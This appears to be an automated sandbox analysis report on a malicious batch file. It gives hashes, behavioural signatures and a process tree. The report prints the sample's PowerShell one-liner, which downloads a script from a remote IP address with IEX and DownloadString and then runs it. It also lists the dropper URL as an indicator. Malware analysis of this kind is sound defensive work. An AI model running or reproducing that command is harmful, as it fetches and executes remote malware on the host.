Analysis
-
max time kernel
132s -
max time network
152s -
platform
windows7_x64 -
resource
win7 -
submitted
08-09-2020 17:10
Static task
static1
Behavioral task
behavioral1
Sample
a87639941dd963a944a448c5da3a1d22.bat
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
a87639941dd963a944a448c5da3a1d22.bat
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
-
Target
a87639941dd963a944a448c5da3a1d22.bat
-
Size
216B
-
MD5
4e24b08cc0bb74713a5fdd1a9b647461
-
SHA1
7d9b9ccee1269dd27297d2b5000f34d5b2e8231b
-
SHA256
f4dce5d134eceafacb29f6c45d8fb6155a7e5be430516a0df8f91495b8836abf
-
SHA512
b582aeb8a2b04d4926849e945d27f1690c361d33a79e4ebaced85532af32153aa8e2b5d040d021eb1f95d435c436501199b8c92005418b5916e077a0fc71f40c
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/a87639941dd963a944a448c5da3a1d22
Signatures
-
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 1276 powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1276 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1276 powershell.exe 1276 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1276 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 1768 wrote to memory of 1276 1768 cmd.exe powershell.exe PID 1768 wrote to memory of 1276 1768 cmd.exe powershell.exe PID 1768 wrote to memory of 1276 1768 cmd.exe powershell.exe PID 1768 wrote to memory of 1276 1768 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\a87639941dd963a944a448c5da3a1d22.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/a87639941dd963a944a448c5da3a1d22');Invoke-IGHKQIDRO;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1276